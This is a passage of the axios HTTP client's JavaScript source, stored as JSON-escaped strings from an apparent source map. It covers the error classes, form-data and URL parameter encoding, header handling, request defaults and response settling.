Error.captureStackTrace(this, this.constructor);\n  } else {\n    this.stack = (new Error()).stack;\n  }\n\n  this.message = message;\n  this.name = 'AxiosError';\n  code && (this.code = code);\n  config && (this.config = config);\n  request && (this.request = request);\n  response && (this.response = response);\n}\n\nutils.inherits(AxiosError, Error, {\n  toJSON: function toJSON() {\n    return {\n      // Standard\n      message: this.message,\n      name: this.name,\n      // Microsoft\n      description: this.description,\n      number: this.number,\n      // Mozilla\n      fileName: this.fileName,\n      lineNumber: this.lineNumber,\n      columnNumber: this.columnNumber,\n      stack: this.stack,\n      // Axios\n      config: utils.toJSONObject(this.config),\n      code: this.code,\n      status: this.response && this.response.status ? this.response.status : null\n    };\n  }\n});\n\nconst prototype = AxiosError.prototype;\nconst descriptors = {};\n\n[\n  'ERR_BAD_OPTION_VALUE',\n  'ERR_BAD_OPTION',\n  'ECONNABORTED',\n  'ETIMEDOUT',\n  'ERR_NETWORK',\n  'ERR_FR_TOO_MANY_REDIRECTS',\n  'ERR_DEPRECATED',\n  'ERR_BAD_RESPONSE',\n  'ERR_BAD_REQUEST',\n  'ERR_CANCELED',\n  'ERR_NOT_SUPPORT',\n  'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n  descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n  const axiosError = Object.create(prototype);\n\n  utils.toFlatObject(error, axiosError, function filter(obj) {\n    return obj !== Error.prototype;\n  }, prop => {\n    return prop !== 'isAxiosError';\n  });\n\n  AxiosError.call(axiosError, error.message, code, config, request, response);\n\n  axiosError.cause = error;\n\n  axiosError.name = error.name;\n\n  customProps && Object.assign(axiosError, customProps);\n\n  return axiosError;\n};\n\nexport default AxiosError;\n","// eslint-disable-next-line strict\nexport default null;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n  return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n  return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n  if (!path) return key;\n  return path.concat(key).map(function each(token, i) {\n    // eslint-disable-next-line no-param-reassign\n    token = removeBrackets(token);\n    return !dots && i ? '[' + token + ']' : token;\n  }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n  return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n  return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n  if (!utils.isObject(obj)) {\n    throw new TypeError('target must be an object');\n  }\n\n  // eslint-disable-next-line no-param-reassign\n  formData = formData || new (PlatformFormData || FormData)();\n\n  // eslint-disable-next-line no-param-reassign\n  options = utils.toFlatObject(options, {\n    metaTokens: true,\n    dots: false,\n    indexes: false\n  }, false, function defined(option, source) {\n    // eslint-disable-next-line no-eq-null,eqeqeq\n    return !utils.isUndefined(source[option]);\n  });\n\n  const metaTokens = options.metaTokens;\n  // eslint-disable-next-line no-use-before-define\n  const visitor = options.visitor || defaultVisitor;\n  const dots = options.dots;\n  const indexes = options.indexes;\n  const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n  const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n  if (!utils.isFunction(visitor)) {\n    throw new TypeError('visitor must be a function');\n  }\n\n  function convertValue(value) {\n    if (value === null) return '';\n\n    if (utils.isDate(value)) {\n      return value.toISOString();\n    }\n\n    if (!useBlob && utils.isBlob(value)) {\n      throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n    }\n\n    if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n      return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n    }\n\n    return value;\n  }\n\n  /**\n   * Default visitor.\n   *\n   * @param {*} value\n   * @param {String|Number} key\n   * @param {Array<String|Number>} path\n   * @this {FormData}\n   *\n   * @returns {boolean} return true to visit the each prop of the value recursively\n   */\n  function defaultVisitor(value, key, path) {\n    let arr = value;\n\n    if (value && !path && typeof value === 'object') {\n      if (utils.endsWith(key, '{}')) {\n        // eslint-disable-next-line no-param-reassign\n        key = metaTokens ? key : key.slice(0, -2);\n        // eslint-disable-next-line no-param-reassign\n        value = JSON.stringify(value);\n      } else if (\n        (utils.isArray(value) && isFlatArray(value)) ||\n        ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n        )) {\n        // eslint-disable-next-line no-param-reassign\n        key = removeBrackets(key);\n\n        arr.forEach(function each(el, index) {\n          !(utils.isUndefined(el) || el === null) && formData.append(\n            // eslint-disable-next-line no-nested-ternary\n            indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n            convertValue(el)\n          );\n        });\n        return false;\n      }\n    }\n\n    if (isVisitable(value)) {\n      return true;\n    }\n\n    formData.append(renderKey(path, key, dots), convertValue(value));\n\n    return false;\n  }\n\n  const stack = [];\n\n  const exposedHelpers = Object.assign(predicates, {\n    defaultVisitor,\n    convertValue,\n    isVisitable\n  });\n\n  function build(value, path) {\n    if (utils.isUndefined(value)) return;\n\n    if (stack.indexOf(value) !== -1) {\n      throw Error('Circular reference detected in ' + path.join('.'));\n    }\n\n    stack.push(value);\n\n    utils.forEach(value, function each(el, key) {\n      const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n        formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n      );\n\n      if (result === true) {\n        build(el, path ? path.concat(key) : [key]);\n      }\n    });\n\n    stack.pop();\n  }\n\n  if (!utils.isObject(obj)) {\n    throw new TypeError('data must be an object');\n  }\n\n  build(obj);\n\n  return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n  const charMap = {\n    '!': '%21',\n    \"'\": '%27',\n    '(': '%28',\n    ')': '%29',\n    '~': '%7E',\n    '%20': '+',\n    '%00': '\\x00'\n  };\n  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n    return charMap[match];\n  });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n  this._pairs = [];\n\n  params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n  this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n  const _encode = encoder ? function(value) {\n    return encoder.call(this, value, encode);\n  } : encode;\n\n  return this._pairs.map(function each(pair) {\n    return _encode(pair[0]) + '=' + _encode(pair[1]);\n  }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n  return encodeURIComponent(val).\n    replace(/%3A/gi, ':').\n    replace(/%24/g, '$').\n    replace(/%2C/gi, ',').\n    replace(/%20/g, '+').\n    replace(/%5B/gi, '[').\n    replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?object} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n  /*eslint no-param-reassign:0*/\n  if (!params) {\n    return url;\n  }\n  \n  const _encode = options && options.encode || encode;\n\n  const serializeFn = options && options.serialize;\n\n  let serializedParams;\n\n  if (serializeFn) {\n    serializedParams = serializeFn(params, options);\n  } else {\n    serializedParams = utils.isURLSearchParams(params) ?\n      params.toString() :\n      new AxiosURLSearchParams(params, options).toString(_encode);\n  }\n\n  if (serializedParams) {\n    const hashmarkIndex = url.indexOf(\"#\");\n\n    if (hashmarkIndex !== -1) {\n      url = url.slice(0, hashmarkIndex);\n    }\n    url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n  }\n\n  return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n  constructor() {\n    this.handlers = [];\n  }\n\n  /**\n   * Add a new interceptor to the stack\n   *\n   * @param {Function} fulfilled The function to handle `then` for a `Promise`\n   * @param {Function} rejected The function to handle `reject` for a `Promise`\n   *\n   * @return {Number} An ID used to remove interceptor later\n   */\n  use(fulfilled, rejected, options) {\n    this.handlers.push({\n      fulfilled,\n      rejected,\n      synchronous: options ? options.synchronous : false,\n      runWhen: options ? options.runWhen : null\n    });\n    return this.handlers.length - 1;\n  }\n\n  /**\n   * Remove an interceptor from the stack\n   *\n   * @param {Number} id The ID that was returned by `use`\n   *\n   * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n   */\n  eject(id) {\n    if (this.handlers[id]) {\n      this.handlers[id] = null;\n    }\n  }\n\n  /**\n   * Clear all interceptors from the stack\n   *\n   * @returns {void}\n   */\n  clear() {\n    if (this.handlers) {\n      this.handlers = [];\n    }\n  }\n\n  /**\n   * Iterate over all the registered interceptors\n   *\n   * This method is particularly useful for skipping over any\n   * interceptors that may have become `null` calling `eject`.\n   *\n   * @param {Function} fn The function to call for each interceptor\n   *\n   * @returns {void}\n   */\n  forEach(fn) {\n    utils.forEach(this.handlers, function forEachHandler(h) {\n      if (h !== null) {\n        fn(h);\n      }\n    });\n  }\n}\n\nexport default InterceptorManager;\n","'use strict';\n\nexport default {\n  silentJSONParsing: true,\n  forcedJSONParsing: true,\n  clarifyTimeoutError: false\n};\n","'use strict';\n\nimport AxiosURLSearchParams from '../../../helpers/AxiosURLSearchParams.js';\nexport default typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;\n","'use strict';\n\nexport default typeof FormData !== 'undefined' ? FormData : null;\n","'use strict'\n\nexport default typeof Blob !== 'undefined' ? Blob : null\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\nimport Blob from './classes/Blob.js'\n\nexport default {\n  isBrowser: true,\n  classes: {\n    URLSearchParams,\n    FormData,\n    Blob\n  },\n  protocols: ['http', 'https', 'file', 'blob', 'url', 'data']\n};\n","const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n *  typeof window -> undefined\n *  typeof document -> undefined\n *\n * react-native:\n *  navigator.product -> 'ReactNative'\n * nativescript\n *  navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = (\n  (product) => {\n    return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0\n  })(typeof navigator !== 'undefined' && navigator.product);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n  return (\n    typeof WorkerGlobalScope !== 'undefined' &&\n    // eslint-disable-next-line no-undef\n    self instanceof WorkerGlobalScope &&\n    typeof self.importScripts === 'function'\n  );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n  hasBrowserEnv,\n  hasStandardBrowserWebWorkerEnv,\n  hasStandardBrowserEnv,\n  origin\n}\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n  ...utils,\n  ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n  return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n    visitor: function(value, key, path, helpers) {\n      if (platform.isNode && utils.isBuffer(value)) {\n        this.append(key, value.toString('base64'));\n        return false;\n      }\n\n      return helpers.defaultVisitor.apply(this, arguments);\n    }\n  }, options));\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n  // foo[x][y][z]\n  // foo.x.y.z\n  // foo-x-y-z\n  // foo x y z\n  return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n    return match[0] === '[]' ? '' : match[1] || match[0];\n  });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n  const obj = {};\n  const keys = Object.keys(arr);\n  let i;\n  const len = keys.length;\n  let key;\n  for (i = 0; i < len; i++) {\n    key = keys[i];\n    obj[key] = arr[key];\n  }\n  return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n  function buildPath(path, value, target, index) {\n    let name = path[index++];\n\n    if (name === '__proto__') return true;\n\n    const isNumericKey = Number.isFinite(+name);\n    const isLast = index >= path.length;\n    name = !name && utils.isArray(target) ? target.length : name;\n\n    if (isLast) {\n      if (utils.hasOwnProp(target, name)) {\n        target[name] = [target[name], value];\n      } else {\n        target[name] = value;\n      }\n\n      return !isNumericKey;\n    }\n\n    if (!target[name] || !utils.isObject(target[name])) {\n      target[name] = [];\n    }\n\n    const result = buildPath(path, value, target[name], index);\n\n    if (result && utils.isArray(target[name])) {\n      target[name] = arrayToObject(target[name]);\n    }\n\n    return !isNumericKey;\n  }\n\n  if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n    const obj = {};\n\n    utils.forEachEntry(formData, (name, value) => {\n      buildPath(parsePropPath(name), value, obj, 0);\n    });\n\n    return obj;\n  }\n\n  return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n  if (utils.isString(rawValue)) {\n    try {\n      (parser || JSON.parse)(rawValue);\n      return utils.trim(rawValue);\n    } catch (e) {\n      if (e.name !== 'SyntaxError') {\n        throw e;\n      }\n    }\n  }\n\n  return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n  transitional: transitionalDefaults,\n\n  adapter: ['xhr', 'http', 'fetch'],\n\n  transformRequest: [function transformRequest(data, headers) {\n    const contentType = headers.getContentType() || '';\n    const hasJSONContentType = contentType.indexOf('application/json') > -1;\n    const isObjectPayload = utils.isObject(data);\n\n    if (isObjectPayload && utils.isHTMLForm(data)) {\n      data = new FormData(data);\n    }\n\n    const isFormData = utils.isFormData(data);\n\n    if (isFormData) {\n      return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n    }\n\n    if (utils.isArrayBuffer(data) ||\n      utils.isBuffer(data) ||\n      utils.isStream(data) ||\n      utils.isFile(data) ||\n      utils.isBlob(data) ||\n      utils.isReadableStream(data)\n    ) {\n      return data;\n    }\n    if (utils.isArrayBufferView(data)) {\n      return data.buffer;\n    }\n    if (utils.isURLSearchParams(data)) {\n      headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n      return data.toString();\n    }\n\n    let isFileList;\n\n    if (isObjectPayload) {\n      if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n        return toURLEncodedForm(data, this.formSerializer).toString();\n      }\n\n      if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n        const _FormData = this.env && this.env.FormData;\n\n        return toFormData(\n          isFileList ? {'files[]': data} : data,\n          _FormData && new _FormData(),\n          this.formSerializer\n        );\n      }\n    }\n\n    if (isObjectPayload || hasJSONContentType ) {\n      headers.setContentType('application/json', false);\n      return stringifySafely(data);\n    }\n\n    return data;\n  }],\n\n  transformResponse: [function transformResponse(data) {\n    const transitional = this.transitional || defaults.transitional;\n    const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n    const JSONRequested = this.responseType === 'json';\n\n    if (utils.isResponse(data) || utils.isReadableStream(data)) {\n      return data;\n    }\n\n    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n      const silentJSONParsing = transitional && transitional.silentJSONParsing;\n      const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n      try {\n        return JSON.parse(data);\n      } catch (e) {\n        if (strictJSONParsing) {\n          if (e.name === 'SyntaxError') {\n            throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n          }\n          throw e;\n        }\n      }\n    }\n\n    return data;\n  }],\n\n  /**\n   * A timeout in milliseconds to abort a request. If set to 0 (default) a\n   * timeout is not created.\n   */\n  timeout: 0,\n\n  xsrfCookieName: 'XSRF-TOKEN',\n  xsrfHeaderName: 'X-XSRF-TOKEN',\n\n  maxContentLength: -1,\n  maxBodyLength: -1,\n\n  env: {\n    FormData: platform.classes.FormData,\n    Blob: platform.classes.Blob\n  },\n\n  validateStatus: function validateStatus(status) {\n    return status >= 200 && status < 300;\n  },\n\n  headers: {\n    common: {\n      'Accept': 'application/json, text/plain, */*',\n      'Content-Type': undefined\n    }\n  }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n  defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n  'age', 'authorization', 'content-length', 'content-type', 'etag',\n  'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n  'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n  'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n  const parsed = {};\n  let key;\n  let val;\n  let i;\n\n  rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n    i = line.indexOf(':');\n    key = line.substring(0, i).trim().toLowerCase();\n    val = line.substring(i + 1).trim();\n\n    if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n      return;\n    }\n\n    if (key === 'set-cookie') {\n      if (parsed[key]) {\n        parsed[key].push(val);\n      } else {\n        parsed[key] = [val];\n      }\n    } else {\n      parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n    }\n  });\n\n  return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n  return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n  if (value === false || value == null) {\n    return value;\n  }\n\n  return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n  const tokens = Object.create(null);\n  const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n  let match;\n\n  while ((match = tokensRE.exec(str))) {\n    tokens[match[1]] = match[2];\n  }\n\n  return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n  if (utils.isFunction(filter)) {\n    return filter.call(this, value, header);\n  }\n\n  if (isHeaderNameFilter) {\n    value = header;\n  }\n\n  if (!utils.isString(value)) return;\n\n  if (utils.isString(filter)) {\n    return value.indexOf(filter) !== -1;\n  }\n\n  if (utils.isRegExp(filter)) {\n    return filter.test(value);\n  }\n}\n\nfunction formatHeader(header) {\n  return header.trim()\n    .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n      return char.toUpperCase() + str;\n    });\n}\n\nfunction buildAccessors(obj, header) {\n  const accessorName = utils.toCamelCase(' ' + header);\n\n  ['get', 'set', 'has'].forEach(methodName => {\n    Object.defineProperty(obj, methodName + accessorName, {\n      value: function(arg1, arg2, arg3) {\n        return this[methodName].call(this, header, arg1, arg2, arg3);\n      },\n      configurable: true\n    });\n  });\n}\n\nclass AxiosHeaders {\n  constructor(headers) {\n    headers && this.set(headers);\n  }\n\n  set(header, valueOrRewrite, rewrite) {\n    const self = this;\n\n    function setHeader(_value, _header, _rewrite) {\n      const lHeader = normalizeHeader(_header);\n\n      if (!lHeader) {\n        throw new Error('header name must be a non-empty string');\n      }\n\n      const key = utils.findKey(self, lHeader);\n\n      if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n        self[key || _header] = normalizeValue(_value);\n      }\n    }\n\n    const setHeaders = (headers, _rewrite) =>\n      utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n    if (utils.isPlainObject(header) || header instanceof this.constructor) {\n      setHeaders(header, valueOrRewrite)\n    } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n      setHeaders(parseHeaders(header), valueOrRewrite);\n    } else if (utils.isHeaders(header)) {\n      for (const [key, value] of header.entries()) {\n        setHeader(value, key, rewrite);\n      }\n    } else {\n      header != null && setHeader(valueOrRewrite, header, rewrite);\n    }\n\n    return this;\n  }\n\n  get(header, parser) {\n    header = normalizeHeader(header);\n\n    if (header) {\n      const key = utils.findKey(this, header);\n\n      if (key) {\n        const value = this[key];\n\n        if (!parser) {\n          return value;\n        }\n\n        if (parser === true) {\n          return parseTokens(value);\n        }\n\n        if (utils.isFunction(parser)) {\n          return parser.call(this, value, key);\n        }\n\n        if (utils.isRegExp(parser)) {\n          return parser.exec(value);\n        }\n\n        throw new TypeError('parser must be boolean|regexp|function');\n      }\n    }\n  }\n\n  has(header, matcher) {\n    header = normalizeHeader(header);\n\n    if (header) {\n      const key = utils.findKey(this, header);\n\n      return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n    }\n\n    return false;\n  }\n\n  delete(header, matcher) {\n    const self = this;\n    let deleted = false;\n\n    function deleteHeader(_header) {\n      _header = normalizeHeader(_header);\n\n      if (_header) {\n        const key = utils.findKey(self, _header);\n\n        if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n          delete self[key];\n\n          deleted = true;\n        }\n      }\n    }\n\n    if (utils.isArray(header)) {\n      header.forEach(deleteHeader);\n    } else {\n      deleteHeader(header);\n    }\n\n    return deleted;\n  }\n\n  clear(matcher) {\n    const keys = Object.keys(this);\n    let i = keys.length;\n    let deleted = false;\n\n    while (i--) {\n      const key = keys[i];\n      if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n        delete this[key];\n        deleted = true;\n      }\n    }\n\n    return deleted;\n  }\n\n  normalize(format) {\n    const self = this;\n    const headers = {};\n\n    utils.forEach(this, (value, header) => {\n      const key = utils.findKey(headers, header);\n\n      if (key) {\n        self[key] = normalizeValue(value);\n        delete self[header];\n        return;\n      }\n\n      const normalized = format ? formatHeader(header) : String(header).trim();\n\n      if (normalized !== header) {\n        delete self[header];\n      }\n\n      self[normalized] = normalizeValue(value);\n\n      headers[normalized] = true;\n    });\n\n    return this;\n  }\n\n  concat(...targets) {\n    return this.constructor.concat(this, ...targets);\n  }\n\n  toJSON(asStrings) {\n    const obj = Object.create(null);\n\n    utils.forEach(this, (value, header) => {\n      value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n    });\n\n    return obj;\n  }\n\n  [Symbol.iterator]() {\n    return Object.entries(this.toJSON())[Symbol.iterator]();\n  }\n\n  toString() {\n    return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n  }\n\n  get [Symbol.toStringTag]() {\n    return 'AxiosHeaders';\n  }\n\n  static from(thing) {\n    return thing instanceof this ? thing : new this(thing);\n  }\n\n  static concat(first, ...targets) {\n    const computed = new this(first);\n\n    targets.forEach((target) => computed.set(target));\n\n    return computed;\n  }\n\n  static accessor(header) {\n    const internals = this[$internals] = (this[$internals] = {\n      accessors: {}\n    });\n\n    const accessors = internals.accessors;\n    const prototype = this.prototype;\n\n    function defineAccessor(_header) {\n      const lHeader = normalizeHeader(_header);\n\n      if (!accessors[lHeader]) {\n        buildAccessors(prototype, _header);\n        accessors[lHeader] = true;\n      }\n    }\n\n    utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n    return this;\n  }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n  let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n  return {\n    get: () => value,\n    set(headerValue) {\n      this[mapped] = headerValue;\n    }\n  }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from './../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n  const config = this || defaults;\n  const context = response || config;\n  const headers = AxiosHeaders.from(context.headers);\n  let data = context.data;\n\n  utils.forEach(fns, function transform(fn) {\n    data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n  });\n\n  headers.normalize();\n\n  return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n  return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n  // eslint-disable-next-line no-eq-null,eqeqeq\n  AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n  this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n  __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, reject, response) {\n  const validateStatus = response.config.validateStatus;\n  if (!response.status || !validateStatus || validateStatus(response.status)) {\n    resolve(response);\n  } else {\n    reject(new AxiosError(\n      'Request failed with status code ' + response.status,\n      [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n      response.config,\n      response.request,\n      response\n    ));\n  }\n}\n","'use strict';\n\nexport default function parseProtocol(url) {\n  const match = 